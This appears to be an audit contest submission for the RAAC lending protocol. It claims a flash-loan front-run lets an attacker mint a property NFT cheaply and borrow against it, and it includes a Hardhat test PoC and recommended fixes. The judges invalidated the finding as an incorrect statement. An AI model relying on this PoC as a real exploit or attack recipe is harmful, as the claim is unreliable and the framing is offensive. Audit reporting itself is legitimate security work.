Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Flash Loan and Front Run Allows Unauthorized Collateral Extraction

Summary

The RAAC protocol’s NFT minting function lacks a mechanism to verify that the caller is the legitimate owner of the underlying real-world asset. Combined with the availability of flash loans, this vulnerability enables an attacker to use borrowed funds to cover the full NFT price while only providing a minimal down payment (20% of the NFT’s value). The attacker front-runs a legitimate mint, acquires the NFT at a deep discount, deposits it as collateral in the lending pool, and then borrows up to 80% of the NFT’s value—effectively extracting a large sum with minimal capital outlay. This is exacerbated further if the collateral value goes up -- thereby allowing the attacker to borrow (i.e. steal) from the protocol.

Vulnerability Details

Root Cause:

  • Missing Ownership Check: The mint function only verifies that a nonzero price exists and that sufficient funds are provided, without confirming the minter’s rightful ownership of the underlying asset.

  • Flash Loan Exploit: This oversight allows an attacker to leverage flash loans to cover the full price of the NFT, front-run the mint, and acquire the NFT using only a fraction of its value as a down payment.

PoC

Run test in LendingPool.test.js with following command:

npx hardhat test test/unit/core/pools/LendingPool/LendingPool.test.js --show-stack-traces
describe.only("Flash Loan + Front-Run NFT Mint Attack for Deep Discount Acquisition", function () {
it("should allow an attacker to acquire an NFT with a 20% down payment and then borrow 80% against it", async function () {
// Define the NFT tokenId and set its price
const tokenId = 1000;
const nftPrice = ethers.parseEther("100"); // NFT valued at 100 crvUSD
// Step 1: Set the house price for tokenId
await raacHousePrices.setHousePrice(tokenId, nftPrice);
// Step 2: Attacker (user2) initially holds only 20% of the NFT value (20 crvUSD)
const attackerInitialFunds = ethers.parseEther("20");
await token.mint(user2.address, attackerInitialFunds);
// Step 3: Simulate a flash loan for the remaining 80% (80 crvUSD)
// In a real-world scenario, this would be a flash loan borrowed and repaid in one transaction.
// Here, we simulate it by minting additional tokens to the attacker.
const flashLoanAmount = ethers.parseEther("80");
await token.mint(user2.address, flashLoanAmount);
// Step 4: Attacker approves RAACNFT and front-runs the mint to acquire the NFT
await token.connect(user2).approve(raacNFT.target, nftPrice);
await expect(raacNFT.connect(user2).mint(tokenId, nftPrice))
.to.emit(raacNFT, "NFTMinted")
.withArgs(user2.address, tokenId, nftPrice);
// Verify that the NFT is minted to the attacker (user2)
expect(await raacNFT.ownerOf(tokenId)).to.equal(user2.address);
// Step 5: Attacker deposits the NFT into the lending pool as collateral
await raacNFT.connect(user2).approve(lendingPool.target, tokenId);
await lendingPool.connect(user2).depositNFT(tokenId);
// Step 6: Attacker borrows the maximum allowed amount (80% of NFT value, i.e., 80 crvUSD)
const borrowAmount = ethers.parseEther("80");
await lendingPool.connect(user2).borrow(borrowAmount);
// Step 7: Simulate flash loan repayment using the borrowed funds.
// In a realistic scenario, the attacker would repay the flash loan within the same transaction,
// leaving them with the borrowed funds as net profit.
await token.mint(user2.address, flashLoanAmount);
// Validate the outcome: the attacker now has an NFT acquired at a deep discount and holds a borrow position of 80 crvUSD.
const attackerDebt = await lendingPool.getUserDebt(user2.address);
expect(attackerDebt).to.equal(borrowAmount);
// The net effect: the attacker acquired a 100 crvUSD NFT with only a 20 crvUSD down payment,
// and extracted 80 crvUSD in liquidity—demonstrating the exploit.
// The following two steps demonstrate additional stolen crvUSD as a result of the collateral value increasing.
// Step 8: Simulate collateral appreciation after the NFT is deposited.
// Assume the market value of the NFT increases from 100 to 150 crvUSD.
const appreciatedPrice = ethers.parseEther("150"); // NFT now valued at 150 crvUSD
await raacHousePrices.setHousePrice(tokenId, appreciatedPrice);
const updatedPrice = await raacNFT.getHousePrice(tokenId);
expect(updatedPrice).to.equal(appreciatedPrice);
// Step 9: With the appreciated collateral, the maximum borrowable amount becomes 80% of 150 crvUSD = 120 crvUSD.
// The attacker already borrowed 80 crvUSD, so they can now borrow an additional 40 crvUSD.
const additionalBorrowAmount = ethers.parseEther("40");
await lendingPool.connect(user2).borrow(additionalBorrowAmount);
const totalDebt = await lendingPool.getUserDebt(user2.address);
expect(totalDebt).to.equal(ethers.parseEther("120"));
});
});

Impact

Impact:

  • Discounted NFT Acquisition: The attacker effectively "buys" the NFT at only 20% of its true price, locking out the legitimate owner.

  • Collateral Exploitation: By depositing the NFT as collateral in the lending pool, the attacker can borrow up to 80% of the NFT’s value, extracting significant liquidity and using it to repay the flash loan.

  • Systemic Risk: Repeated exploitation could drain funds from the lending pool, destabilizing the protocol and undermining trust.

Tools Used

Manual review, Hardhat

Recommendations

  • Ownership Verification: Incorporate a robust mechanism (e.g., a mapping or external registry check) to verify that only the legitimate owner of the underlying asset can mint its corresponding NFT.

  • Flash Loan Safeguards: Implement measures to mitigate flash loan attacks, such as introducing execution delays, off-chain authorization signatures, or dynamic pricing mechanisms that account for sudden liquidity.

  • Reassess Borrowing Limits: Review collateral valuation and borrowing parameters in the lending pool to mitigate risks from discounted collateral acquisitions.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

nadir_khan_sec Submitter
7 months ago
inallhonesty Lead Judge
7 months ago
inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!